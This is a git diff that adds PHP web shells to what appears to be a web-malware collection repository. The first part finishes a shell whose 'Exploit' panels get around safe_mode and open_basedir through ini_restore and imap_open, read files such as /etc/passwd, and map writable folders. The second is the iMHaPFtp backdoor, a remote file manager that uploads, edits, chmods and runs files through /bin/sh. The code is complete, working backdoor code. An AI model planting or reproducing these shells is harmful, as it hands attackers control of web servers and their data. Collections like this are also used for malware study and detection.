+if(empty($_POST['M2'])){ +} else { +echo "read file ini_restore","<br> "; +echo "<textarea method='POST' cols='95' rows='30' wrar='off' >"; +$m=$_POST['M2']; +echo ini_get("safe_mode"); +echo ini_get("open_basedir"); +$s=readfile("$m"); +ini_restore("safe_mode"); +ini_restore("open_basedir"); +echo ini_get("safe_mode"); +echo ini_get("open_basedir"); +$s=readfile("$m"); +echo "</textarea>"; +} + +// imap // + +$string = !empty($_POST['string']) ? $_POST['string'] : 0; +$switch = !empty($_POST['switch']) ? $_POST['switch'] : 0; + +if ($string && $switch == "file") { +echo "read file imap" ,"<br>"; +echo "<textarea method='POST' cols='95' rows='30' wrar='off' >"; + +$stream = imap_open($string, "", ""); + +$str = imap_body($stream, 1); +if (!empty($str)) +echo "<pre>".$str."</pre>"; +imap_close($stream); +echo "</textarea>"; +} elseif ($string && $switch == "dir") { +echo "read dir imap","<br>" ; +echo "<textarea method='POST' cols='95' rows='30' wrar='off' >"; + +$stream = imap_open("/etc/passwd", "", ""); +if ($stream == FALSE) +die("Can't open imap stream"); +$string = explode("|",$string); +if (count($string) > 1) +$dir_list = imap_list($stream, trim($string[0]), trim($string[1])); +else +$dir_list = imap_list($stream, trim($string[0]), "*"); +echo "<pre>"; +for ($i = 0; $i < count($dir_list); $i++) +echo "$dir_list[$i]"."<p>&nbsp;</p>" ; +echo "</pre>"; +imap_close($stream); +echo "</textarea>"; +} +$tb->tdbody ("</td></tr></table>"); +// open dir // +$tb->tableheader(); +$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td><b>Exploit: Open dir </b></td></tr></table>','center','top'); +$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td>'); + +if(empty($_POST['m'])){ +echo "<div><FORM method='POST' action='$REQUEST_URI' enctype='multipart/form-data'> +<table id=tb><tr><td><FONT COLOR=\"RED\">path dir</FONT> +<INPUT type='text' name='m' size=70 value='./'> +<INPUT type='submit' value='show' id=input></td></tr></table></form></div>"; + +} else { +$m=$_POST['m']; +$spath = $m ; +$path = $m ; + + + + + $method = intval(trim($_POST['method'])); + + $handle = opendir($path); + + $_folders = array(); + + $i = 0; + + while (false !== ($file = readdir($handle))) + { + $full_path = "$path/$file"; + $perms = substr(sprintf('%o', fileperms($full_path)), -4); + + if ((is_dir($full_path)) && ($perms == '0777')) + { + if (!file_exists('.*')) { + + $_folders[$i] = $file; + + $i++; + } + } + } + + + closedir($handle); + clearstatcache(); + + + + echo '<strong><FONT COLOR=#00FF00>The folders is 777 :</strong><br />'; + + foreach ($_folders as $folder) + { + echo $folder.'<br />'; + } +////////// +$handle = opendir($path); + + $_folders = array(); + + $i = 0; + + while (false !== ($file1 = readdir($handle))) + { + $full_path = "$path/$file1"; + $perms = substr(sprintf('%o', fileperms($full_path)), -4); + + if ((is_dir($full_path)) && ($perms == '0755')) + { + if (!file_exists('.*')) { + + $_folders[$i] = $file1; + + $i++; + } + } + } + + + + clearstatcache(); + + + + echo '</FONT><strong><FONT COLOR=#FF9900>The folders is 755 :</strong><br />'; + + foreach ($_folders as $folder) + { + echo $folder.'<br />'; + } +////////// +$handle = opendir($path); + + $_folders = array(); + + $i = 0; + + while (false !== ($file1 = readdir($handle))) + { + $full_path = "$path/$file1"; + $perms = substr(sprintf('%o', fileperms($full_path)), -4); + + if ((is_dir($full_path)) && ($perms == '0644')) + { + if (!file_exists('.*')) { + + $_folders[$i] = $file1; + + $i++; + } + } + } + + + + clearstatcache(); + + + + echo '</FONT><strong><FONT COLOR=#CC9999>The folders is 644 :</strong><br />'; + + foreach ($_folders as $folder) + { + echo $folder.'<br />'; + } +////////// +$handle = opendir($path); + + $_folders = array(); + + $i = 0; + + while (false !== ($file1 = readdir($handle))) + { + $full_path = "$path/$file1"; + $perms = substr(sprintf('%o', fileperms($full_path)), -4); + + if ((is_dir($full_path)) && ($perms == '0750')) + { + if (!file_exists('.*')) { + + $_folders[$i] = $file1; + + $i++; + } + } + } + + + + clearstatcache(); + + + + echo '</FONT><strong><FONT COLOR=#9999CC>The folders is 750 :</strong><br />'; + + foreach ($_folders as $folder) + { + echo $folder.'<br />'; + } +////////// +$handle = opendir($path); + + $_folders = array(); + + $i = 0; + + while (false !== ($file1 = readdir($handle))) + { + $full_path = "$path/$file1"; + $perms = substr(sprintf('%o', fileperms($full_path)), -4); + + if ((is_dir($full_path)) && ($perms == '0604')) + { + if (!file_exists('.*')) { + + $_folders[$i] = $file1; + + $i++; + } + } + } + + + + clearstatcache(); + + + + echo '</FONT><strong><FONT COLOR=#669999>The folders is 604 :</strong><br />'; + + foreach ($_folders as $folder) + { + echo $folder.'<br />'; + } +////////// +$handle = opendir($path); + + $_folders = array(); + + $i = 0; + + while (false !== ($file1 = readdir($handle))) + { + $full_path = "$path/$file1"; + $perms = substr(sprintf('%o', fileperms($full_path)), -4); + + if ((is_dir($full_path)) && ($perms == '0705')) + { + if (!file_exists('.*')) { + + $_folders[$i] = $file1; + + $i++; + } + } + } + + + + clearstatcache(); + + + + echo '</FONT><strong><FONT COLOR=#336699>The folders is 705 :</strong><br />'; + + foreach ($_folders as $folder) + { + echo $folder.'<br />'; + } +////////// +$handle = opendir($path); + + $_folders = array(); + + $i = 0; + + while (false !== ($file1 = readdir($handle))) + { + $full_path = "$path/$file1"; + $perms = substr(sprintf('%o', fileperms($full_path)), -4); + + if ((is_dir($full_path)) && ($perms == '0606')) + { + if (!file_exists('.*')) { + + $_folders[$i] = $file1; + + $i++; + } + } + } + + + + clearstatcache(); + + + + echo '</FONT><strong><FONT COLOR=#996666>The folders is 606 :</strong><br />'; + + foreach ($_folders as $folder) + { + echo $folder.'<br />'; + } +////////// +$handle = opendir($path); + + $_folders = array(); + + $i = 0; + + while (false !== ($file1 = readdir($handle))) + { + $full_path = "$path/$file1"; + $perms = substr(sprintf('%o', fileperms($full_path)), -4); + + if ((is_dir($full_path)) && ($perms == '0703')) + { + if (!file_exists('.*')) { + + $_folders[$i] = $file1; + + $i++; + } + } + } + + + + clearstatcache(); + + + + echo '</FONT><strong><FONT COLOR=#3333FF>The folders is 703 :</strong><br />'; + + foreach ($_folders as $folder) + { + echo $folder.'<br />'; + } + + + + } + $handle = opendir($path); + + $_folders = array(); + + $i = 0; + + while (false !== ($file1 = readdir($handle))) + { + $full_path = "$path/$file1"; + $perms = substr(sprintf('%o', fileperms($full_path)), -4); + + + + + $_folders[$i] = $file1; + + $i++; + + + } + + + + clearstatcache(); + + + + echo '</FONT><strong><FONT COLOR=#FFFF00>The folders and file all :</strong><br />'; + + foreach ($_folders as $folder) + { + echo $folder.'<br />'; + } + + echo '</FONT><strong><FONT COLOR=#FF0000>The total : </strong>'.$i.'</FONT><br />'; +$tb->tdbody ("</td></tr></table>"); + +$tb->tableheader(); +$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td><b>Exploit: break fucking safe-mode </b></td></tr></table>','center','top'); +$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td>'); + + + error_reporting(E_WARNING); + ini_set("display_errors", 1); + + echo "<head><title>".getcwd()."</title></head>"; + + echo "<form method=POST>"; + echo "<div style='float: left'><FONT COLOR=\"RED\">Root directory: </FONT><input type=text name=root value='{$_POST['root']}'></div>"; + echo "<input type=submit value='--&raquo;'></form>"; + + + + // break fucking safe-mode ! + + $root = "/"; + + if($_POST['root']) $root = $_POST['root']; + + if (!ini_get('safe_mode')) die("<font size=-2 face=verdana color='#CC0000'>Safe-mode is OFF.</font>"); +echo "<textarea method='POST' cols='95' rows='30' wrar='off' >"; + $c = 0; $D = array(); + set_error_handler("eh"); + + $chars = "_-.01234567890abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; + + for($i=0; $i < strlen($chars); $i++){ + $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}"; + + $prevD = $D[count($D)-1]; + glob($path."*"); + + if($D[count($D)-1] != $prevD){ + + for($j=0; $j < strlen($chars); $j++){ + + $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}"; + + $prevD2 = $D[count($D)-1]; + glob($path."*"); + + if($D[count($D)-1] != $prevD2){ + + + for($p=0; $p < strlen($chars); $p++){ + + $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}"; + + $prevD3 = $D[count($D)-1]; + glob($path."*"); + + if($D[count($D)-1] != $prevD3){ + + + for($r=0; $r < strlen($chars); $r++){ + + $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}{$chars[$r]}"; + glob($path."*"); + + } + + } + + } + + } + + } + + } + + } + + $D = array_unique($D); + + + foreach($D as $item) echo "{$item}\n"; + + + + + + function eh($errno, $errstr, $errfile, $errline){ + + global $D, $c, $i; + preg_match("/SAFE\ MODE\ Restriction\ in\ effect\..*whose\ uid\ is(.*)is\ not\ allowed\ to\ access(.*)owned by uid(.*)/", $errstr, $o); + if($o){ $D[$c] = $o[2]; $c++;} + + } + echo "</textarea>"; +$tb->tdbody ("</td></tr></table>"); +?> + diff --git a/web-malware-collection-master/Backdoors/PHP/iMHaPFtp.txt b/web-malware-collection-master/Backdoors/PHP/iMHaPFtp.txt new file mode 100755 index 0000000..2c003b7 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/iMHaPFtp.txt @@ -0,0 +1,2061 @@ +<?php +/* + * iMHaPFTP.php - iMHaBiRLiGi Php Ftp Editoru + * Copyright (C) 2003-2005 iMHaBiRLiGi <iMHaBiRLiGi@imhabirligi.com> + * + * Bu Kod Tamamiyle �zg�r Yazilimdir. + * K�t� Amaclar ile kullanilmamak sartiyla istenildigi gibi Kullanilabilir + * Programin amaci ftp olmadan hostunuza baglanti kurup + * Dosya ekleyip kaldira bilmektir. + * Kodumuz 6 Dilde yazilmistir.Server Diline G�re Otomatik Secim Yapar. + * ------------------------------------------------------------------------- + * Kodu hosta attiktan sonra adres cubuguna kodun uzantisini verip baglanin + * Ve Asla kimseye bu kodun uzantisini vermeyiniz.!! + * ------------------------------------------------------------------------- + * + * iMHaBiRLiGi PhpFtp V1.1 + * ========================================================================= + * + * BeweiS + * <BeweiS@imhabirligi.com> + * iMHaBiRLiGi Administrator + * Php-Asp-Programlama ve G�venlik + * + * MicroP_ + * <MicroP_@imhabirligi.com> + * iMHaBiRLiGi Administrator + * Php-Asp-Programlama ve G�venlik + * + * Libertical + * <libertical@imhabirligi.com> + * iMHaBiRLiGi Y�netim + * C++, Delphi,Programlama ve Linux Hastasi + * + * PowerGhost + * <powerghost@imhabirligi.com> + * iMHaBiRLiGi Sistem Danismani + * Sistem Danismani + * + * BadSector + * ozgurkaleli@yahoo.com + * iMHaBiRLiGi Y�netim + * VicualBasic-Delphi Programlama + * Sistemdanismani ve Linux Hastasi + * + * Bu kodun yaziliminda ismi gecen her arkadasimizin + * Katkilari bulunmustur. + * Herbiri ilgi alaninda Basarili olduklari konularda kodumuzu gelistirmemize + * Katkida bulunmuslardir. + * NOT: Kod Hakkinda takildiniz konulari iMHaBiRLiGi Forumlarina Sora bilirsiniz + * http://www.imhabirligi.com + *<iMHaBiRLiGi@imhabirligi.com> +/* ------------------------------------------------------------------------- */ + +/* Diller : + * 'en' - English + * 'de' - German + * 'fr' - French + * 'it' - Italian + * 'se' - Swedish + * 'auto' - autoselect + */ +$lang = 'auto'; + +/* Charset of your filenames: + */ +$charset = 'ISO-8859-1'; + +/* Homedir: + * For example: './' - the script's directory + */ +$homedir = './'; + +/* Size of the D�zenle textarea + */ +$D�zenlecols = 80; +$D�zenlerows = 25; + +/* ------------------------------------------- + * Optional configuration (reTasi # to enable) + */ + +/* Permission of created directories: + * For example: 0705 would be 'drwx---r-x'. + */ +# $dirpermission = 0705; + +/* Permission of created files: + * For example: 0604 would be '-rw----r--'. + */ +# $filepermission = 0604; + +/* Filenames related to the apache web server: + */ +$htaccess = '.htaccess'; +$htpasswd = '.htpasswd'; + +/* ------------------------------------------------------------------------- */ + +if (get_magic_quotes_gpc()) { + array_walk($_GET, 'strip'); + array_walk($_POST, 'strip'); + array_walk($_REQUEST, 'strip'); +} + +if (array_key_exists('image', $_GET)) { + header('Content-Type: image/gif'); + die(getimage($_GET['image'])); +} + +$delim = DIRECTORY_SEPARATOR; + +if (function_exists('php_uname')) { + $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false; +} else { + $win = ($delim == '\\') ? true : false; +} + +if (!empty($_SERVER['PATH_TRANSLATED'])) { + $scriptdir = dirname($_SERVER['PATH_TRANSLATED']); +} elseif (!empty($_SERVER['SCRIPT_FILENAME'])) { + $scriptdir = dirname($_SERVER['SCRIPT_FILENAME']); +} elseif (function_exists('getcwd')) { + $scriptdir = getcwd(); +} else { + $scriptdir = '.'; +} +$homedir = relative2absolute($homedir, $scriptdir); + +$dir = (array_key_exists('dir', $_REQUEST)) ? $_REQUEST['dir'] : $homedir; + +if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) { + $dir = relative2absolute($dir, $_POST['olddir']); +} + +$directory = simplify_path(addslash($dir)); + +$files = array(); +$action = ''; +if (!empty($_POST['submit_all'])) { + $action = $_POST['action_all']; + for ($i = 0; $i < $_POST['num']; $i++) { + if (array_key_exists("checked$i", $_POST) && $_POST["checked$i"] == 'true') { + $files[] = $_POST["file$i"]; + } + } +} elseif (!empty($_REQUEST['action'])) { + $action = $_REQUEST['action']; + $files[] = relative2absolute($_REQUEST['file'], $directory); +} elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) { + $files[] = $_FILES['upload']; + $action = 'upload'; +} elseif (array_key_exists('num', $_POST)) { + for ($i = 0; $i < $_POST['num']; $i++) { + if (array_key_exists("submit$i", $_POST)) break; + } + if ($i < $_POST['num']) { + $action = $_POST["action$i"]; + $files[] = $_POST["file$i"]; + } +} +if (empty($action) && (!empty($_POST['submit_create']) || (array_key_exists('focus', $_POST) && $_POST['focus'] == 'create')) && !empty($_POST['create_name'])) { + $files[] = relative2absolute($_POST['create_name'], $directory); + switch ($_POST['create_type']) { + case 'directory': + $action = 'create_directory'; + break; + case 'file': + $action = 'create_file'; + } +} +if (sizeof($files) == 0) $action = ''; else $file = reset($files); + +if ($lang == 'auto') { + if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) { + $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2); + } else { + $lang = 'en'; + } +} + +$words = getwords($lang); + +$cols = ($win) ? 4 : 7; + +if (!isset($dirpermission)) { + $dirpermission = (function_exists('umask')) ? (0777 & ~umask()) : 0755; +} +if (!isset($filepermission)) { + $filepermission = (function_exists('umask')) ? (0666 & ~umask()) : 0644; +} + +if (!empty($_SERVER['SCRIPT_NAME'])) { + $self = html(basename($_SERVER['SCRIPT_NAME'])); +} elseif (!empty($_SERVER['PHP_SELF'])) { + $self = html(basename($_SERVER['PHP_SELF'])); +} else { + $self = ''; +} + +if (!empty($_SERVER['SERVER_SOFTWARE'])) { + if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') { + $apache = true; + } else { + $apache = false; + } +} else { + $apache = true; +} + +switch ($action) { + +case 'view': + + if (is_script($file)) { + + /* highlight_file is a mess! */ + ob_start(); + highlight_file($file); + $src = ereg_replace('<font color="([^"]*)">', '<span style="color: \1">', ob_get_contents()); + $src = str_replace(array('</font>', "\r", "\n"), array('</span>', '', ''), $src); + ob_end_clean(); + + html_header(); + echo '<h2 style="text-align: left; margin-bottom: 0">' . html($file) . '</h2> + +<hr /> + +<table> +<tr> +<td style="text-align: right; vertical-align: top; color: gray; padding-right: 3pt; border-right: 1px solid gray"> +<pre style="margin-top: 0"><code>'; + + for ($i = 1; $i <= sizeof(file($file)); $i++) echo "$i\n"; + + echo '</code></pre> +</td> +<td style="text-align: left; vertical-align: top; padding-left: 3pt"> +<pre style="margin-top: 0">' . $src . '</pre> +</td> +</tr> +</table> + +'; + + html_footer(); + + } else { + + header('Content-Type: ' . getmimetype($file)); + header('Content-Disposition: filename=' . basename($file)); + + readfile($file); + + } + + break; + +case 'indir': + + header('Pragma: public'); + header('Expires: 0'); + header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); + header('Content-Type: ' . getmimetype($file)); + header('Content-Disposition: attachment; filename=' . basename($file) . ';'); + header('Content-Length: ' . filesize($file)); + + readfile($file); + + break; + +case 'upload': + + $dest = relative2absolute($file['name'], $directory); + + if (@file_exists($dest)) { + listing_page(error('already_exists', $dest)); + } elseif (@Tasi_uploaded_file($file['tmp_name'], $dest)) { + listing_page(notice('uploaded', $file['name'])); + } else { + listing_page(error('not_uploaded', $file['name'])); + } + + break; + +case 'create_directory': + + if (@file_exists($file)) { + listing_page(error('already_exists', $file)); + } else { + $old = @umask(0777 & ~$dirpermission); + if (@mkdir($file, $dirpermission)) { + listing_page(notice('created', $file)); + } else { + listing_page(error('not_created', $file)); + } + @umask($old); + } + + break; + +case 'create_file': + + if (@file_exists($file)) { + listing_page(error('already_exists', $file)); + } else { + $old = @umask(0777 & ~$filepermission); + if (@touch($file)) { + D�zenle($file); + } else { + listing_page(error('not_created', $file)); + } + @umask($old); + } + + break; + +case 'execute': + + chdir(dirname($file)); + + $output = array(); + $retval = 0; + exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval); + + $error = ($retval == 0) ? false : true; + + if (sizeof($output) == 0) $output = array('<' . $words['no_output'] . '>'); + + if ($error) { + listing_page(error('not_executed', $file, implode("\n", $output))); + } else { + listing_page(notice('executed', $file, implode("\n", $output))); + } + + break; + +case 'Sil': + + if (!empty($_POST['no'])) { + listing_page(); + } elseif (!empty($_POST['yes'])) { + + $failure = array(); + $success = array(); + + foreach ($files as $file) { + if (del($file)) { + $success[] = $file; + } else { + $failure[] = $file; + } + } + + $message = ''; + if (sizeof($failure) > 0) { + $message = error('not_Sild', implode("\n", $failure)); + } + if (sizeof($success) > 0) { + $message .= notice('Sild', implode("\n", $success)); + } + + listing_page($message); + + } else { + + html_header(); + + echo '<form action="' . $self . '" method="post"> +<table class="dialog"> +<tr> +<td class="dialog"> +'; + + request_dump(); + + echo "\t<b>" . word('really_Sil') . '</b> + <p> +'; + + foreach ($files as $file) { + echo "\t" . html($file) . "<br />\n"; + } + + echo ' </p> + <hr /> + <input type="submit" name="no" value="' . word('no') . '" id="red_button" /> + <input type="submit" name="yes" value="' . word('yes') . '" id="green_button" style="margin-left: 50px" /> +</td> +</tr> +</table> +</form> + +'; + + html_footer(); + + } + + break; + +case 'Degistir': + + if (!empty($_POST['Yol'])) { + + $dest = relative2absolute($_POST['Yol'], $directory); + + if (!@file_exists($dest) && @Degistir($file, $dest)) { + listing_page(notice('Degistird', $file, $dest)); + } else { + listing_page(error('not_Degistird', $file, $dest)); + } + + } else { + + html_header(); + + echo '<form action="' . $self . '" method="post"> + +<table class="dialog"> +<tr> +<td class="dialog"> + <input type="hidden" name="action" value="Degistir" /> + <input type="hidden" name="file" value="' . html($file) . '" /> + <input type="hidden" name="dir" value="' . html($directory) . '" /> + <b>' . word('Degistir_file') . '</b> + <p>' . html($file) . '</p> + <hr /> + ' . word('Yol') . ': + <input type="text" name="Yol" size="' . textfieldsize($file) . '" value="' . html($file) . '" /> + <input type="submit" value="' . word('Degistir') . '" /> +</td> +</tr> +</table> + +<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('Geri') . ' ]</a></p> + +</form> + +'; + + html_footer(); + + } + + break; + +case 'Tasi': + + if (!empty($_POST['Yol'])) { + + $dest = relative2absolute($_POST['Yol'], $directory); + + $failure = array(); + $success = array(); + + foreach ($files as $file) { + $filename = substr($file, strlen($directory)); + $d = $dest . $filename; + if (!@file_exists($d) && @Degistir($file, $d)) { + $success[] = $file; + } else { + $failure[] = $file; + } + } + + $message = ''; + if (sizeof($failure) > 0) { + $message = error('not_Tasid', implode("\n", $failure), $dest); + } + if (sizeof($success) > 0) { + $message .= notice('Tasid', implode("\n", $success), $dest); + } + + listing_page($message); + + } else { + + html_header(); + + echo '<form action="' . $self . '" method="post"> + +<table class="dialog"> +<tr> +<td class="dialog"> +'; + + request_dump(); + + echo "\t<b>" . word('Tasi_files') . '</b> + <p> +'; + + foreach ($files as $file) { + echo "\t" . html($file) . "<br />\n"; + } + + echo ' </p> + <hr /> + ' . word('Yol') . ': + <input type="text" name="Yol" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" /> + <input type="submit" value="' . word('Tasi') . '" /> +</td> +</tr> +</table> + +<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('Geri') . ' ]</a></p> + +</form> + +'; + + html_footer(); + + } + + break; + +case 'Kopyala': + + if (!empty($_POST['Yol'])) { + + $dest = relative2absolute($_POST['Yol'], $directory); + + if (@is_dir($dest)) { + + $failure = array(); + $success = array(); + + foreach ($files as $file) { + $filename = substr($file, strlen($directory)); + $d = addslash($dest) . $filename; + if (!@is_dir($file) && !@file_exists($d) && @Kopyala($file, $d)) { + $success[] = $file; + } else { + $failure[] = $file; + } + } + + $message = ''; + if (sizeof($failure) > 0) { + $message = error('not_copied', implode("\n", $failure), $dest); + } + if (sizeof($success) > 0) { + $message .= notice('copied', implode("\n", $success), $dest); + } + + listing_page($message); + + } else { + + if (!@file_exists($dest) && @Kopyala($file, $dest)) { + listing_page(notice('copied', $file, $dest)); + } else { + listing_page(error('not_copied', $file, $dest)); + } + + } + + } else { + + html_header(); + + echo '<form action="' . $self . '" method="post"> + +<table class="dialog"> +<tr> +<td class="dialog"> +'; + + request_dump(); + + echo "\n<b>" . word('Kopyala_files') . '</b> + <p> +'; + + foreach ($files as $file) { + echo "\t" . html($file) . "<br />\n"; + } + + echo ' </p> + <hr /> + ' . word('Yol') . ': + <input type="text" name="Yol" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" /> + <input type="submit" value="' . word('Kopyala') . '" /> +</td> +</tr> +</table> + +<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('Geri') . ' ]</a></p> + +</form> + +'; + + html_footer(); + + } + + break; + +case 'create_symlink': + + if (!empty($_POST['Yol'])) { + + $dest = relative2absolute($_POST['Yol'], $directory); + + if (substr($dest, -1, 1) == $delim) $dest .= basename($file); + + if (!empty($_POST['relative'])) $file = absolute2relative(addslash(dirname($dest)), $file); + + if (!@file_exists($dest) && @symlink($file, $dest)) { + listing_page(notice('symlinked', $file, $dest)); + } else { + listing_page(error('not_symlinked', $file, $dest)); + } + + } else { + + html_header(); + + echo '<form action="' . $self . '" method="post"> + +<table class="dialog" id="symlink"> +<tr> + <td style="vertical-align: top">' . word('Yol') . ': </td> + <td> + <b>' . html($file) . '</b><br /> + <input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked="checked" style="margin-top: 1ex" /> + <label for="checkbox_relative">' . word('relative') . '</label> + <input type="hidden" name="action" value="create_symlink" /> + <input type="hidden" name="file" value="' . html($file) . '" /> + <input type="hidden" name="dir" value="' . html($directory) . '" /> + </td> +</tr> +<tr> + <td>' . word('symlink') . ': </td> + <td> + <input type="text" name="Yol" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" /> + <input type="submit" value="' . word('create_symlink') . '" /> + </td> +</tr> +</table> + +<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('Geri') . ' ]</a></p> + +</form> + +'; + + html_footer(); + + } + + break; + +case 'D�zenle': + + if (!empty($_POST['save'])) { + + $content = str_replace("\r\n", "\n", $_POST['content']); + + if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) { + listing_page(notice('saved', $file)); + } else { + listing_page(error('not_saved', $file)); + } + + } else { + + if (@is_readable($file) && @is_writable($file)) { + D�zenle($file); + } else { + listing_page(error('not_D�zenleed', $file)); + } + + } + + break; + +case 'permission': + + if (!empty($_POST['set'])) { + + $mode = 0; + if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100; + if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010; + if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001; + + if (@chmod($file, $mode)) { + listing_page(notice('permission_set', $file, decoct($mode))); + } else { + listing_page(error('permission_not_set', $file, decoct($mode))); + } + + } else { + + html_header(); + + $mode = fileperms($file); + + echo '<form action="' . $self . '" method="post"> + +<table class="dialog"> +<tr> +<td class="dialog"> + + <p style="margin: 0">' . phrase('permission_for', $file) . '</p> + + <hr /> + + <table id="permission"> + <tr> + <td></td> + <td style="border-right: 1px solid black">' . word('owner') . '</td> + <td style="border-right: 1px solid black">' . word('group') . '</td> + <td>' . word('other') . '</td> + </tr> + <tr> + <td style="text-align: right">' . word('read') . ':</td> + <td><input type="checkbox" name="ur" value="1"'; if ($mode & 00400) echo ' checked="checked"'; echo ' /></td> + <td><input type="checkbox" name="gr" value="1"'; if ($mode & 00040) echo ' checked="checked"'; echo ' /></td> + <td><input type="checkbox" name="or" value="1"'; if ($mode & 00004) echo ' checked="checked"'; echo ' /></td> + </tr> + <tr> + <td style="text-align: right">' . word('write') . ':</td> + <td><input type="checkbox" name="uw" value="1"'; if ($mode & 00200) echo ' checked="checked"'; echo ' /></td> + <td><input type="checkbox" name="gw" value="1"'; if ($mode & 00020) echo ' checked="checked"'; echo ' /></td> + <td><input type="checkbox" name="ow" value="1"'; if ($mode & 00002) echo ' checked="checked"'; echo ' /></td> + </tr> + <tr> + <td style="text-align: right">' . word('execute') . ':</td> + <td><input type="checkbox" name="ux" value="1"'; if ($mode & 00100) echo ' checked="checked"'; echo ' /></td> + <td><input type="checkbox" name="gx" value="1"'; if ($mode & 00010) echo ' checked="checked"'; echo ' /></td> + <td><input type="checkbox" name="ox" value="1"'; if ($mode & 00001) echo ' checked="checked"'; echo ' /></td> + </tr> + </table> + + <hr /> + + <input type="submit" name="set" value="' . word('set') . '" /> + + <input type="hidden" name="action" value="permission" /> + <input type="hidden" name="file" value="' . html($file) . '" /> + <input type="hidden" name="dir" value="' . html($directory) . '" /> + +</td> +</tr> +</table> + +<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('Geri') . ' ]</a></p> + +</form> + +'; + + html_footer(); + + } + + break; + +default: + + listing_page(); + +} + +/* ------------------------------------------------------------------------- */ + +function getlist ($directory) { + global $delim, $win; + + if ($d = @opendir($directory)) { + + while (($filename = @readdir($d)) !== false) { + + $path = $directory . $filename; + + if ($stat = @lstat($path)) { + + $file = array( + 'filename' => $filename, + 'path' => $path, + 'is_file' => @is_file($path), + 'is_dir' => @is_dir($path), + 'is_link' => @is_link($path), + 'is_readable' => @is_readable($path), + 'is_writable' => @is_writable($path), + 'size' => $stat['size'], + 'permission' => $stat['mode'], + 'owner' => $stat['uid'], + 'group' => $stat['gid'], + 'mtime' => @filemtime($path), + 'atime' => @fileatime($path), + 'ctime' => @filectime($path) + ); + + if ($file['is_dir']) { + $file['is_executable'] = @file_exists($path . $delim . '.'); + } else { + if (!$win) { + $file['is_executable'] = @is_executable($path); + } else { + $file['is_executable'] = true; + } + } + + if ($file['is_link']) $file['target'] = @readlink($path); + + if (function_exists('posix_getpwuid')) $file['owner_name'] = @reset(posix_getpwuid($file['owner'])); + if (function_exists('posix_getgrgid')) $file['group_name'] = @reset(posix_getgrgid($file['group'])); + + $files[] = $file; + + } + + } + + return $files; + + } else { + return false; + } + +} + +function sortlist (&$list, $key, $reverse) { + + quicksort($list, 0, sizeof($list) - 1, $key); + + if ($reverse) $list = array_reverse($list); + +} + +function quicksort (&$array, $first, $last, $key) { + + if ($first < $last) { + + $cmp = $array[floor(($first + $last) / 2)][$key]; + + $l = $first; + $r = $last; + + while ($l <= $r) { + + while ($array[$l][$key] < $cmp) $l++; + while ($array[$r][$key] > $cmp) $r--; + + if ($l <= $r) { + + $tmp = $array[$l]; + $array[$l] = $array[$r]; + $array[$r] = $tmp; + + $l++; + $r--; + + } + + } + + quicksort($array, $first, $r, $key); + quicksort($array, $l, $last, $key); + + } + +} + +function permission_octal2string ($mode) { + + if (($mode & 0xC000) === 0xC000) { + $type = 's'; + } elseif (($mode & 0xA000) === 0xA000) { + $type = 'l'; + } elseif (($mode & 0x8000) === 0x8000) { + $type = '-'; + } elseif (($mode & 0x6000) === 0x6000) { + $type = 'b'; + } elseif (($mode & 0x4000) === 0x4000) { + $type = 'd'; + } elseif (($mode & 0x2000) === 0x2000) { + $type = 'c'; + } elseif (($mode & 0x1000) === 0x1000) { + $type = 'p'; + } else { + $type = '?'; + } + + $owner = ($mode & 00400) ? 'r' : '-'; + $owner .= ($mode & 00200) ? 'w' : '-'; + if ($mode & 0x800) { + $owner .= ($mode & 00100) ? 's' : 'S'; + } else { + $owner .= ($mode & 00100) ? 'x' : '-'; + } + + $group = ($mode & 00040) ? 'r' : '-'; + $group .= ($mode & 00020) ? 'w' : '-'; + if ($mode & 0x400) { + $group .= ($mode & 00010) ? 's' : 'S'; + } else { + $group .= ($mode & 00010) ? 'x' : '-'; + } + + $other = ($mode & 00004) ? 'r' : '-'; + $other .= ($mode & 00002) ? 'w' : '-'; + if ($mode & 0x200) { + $other .= ($mode & 00001) ? 't' : 'T'; + } else { + $other .= ($mode & 00001) ? 'x' : '-'; + } + + return $type . $owner . $group . $other; + +} + +function is_script ($filename) { + return ereg('\.php$|\.php3$|\.php4$|\.php5$', 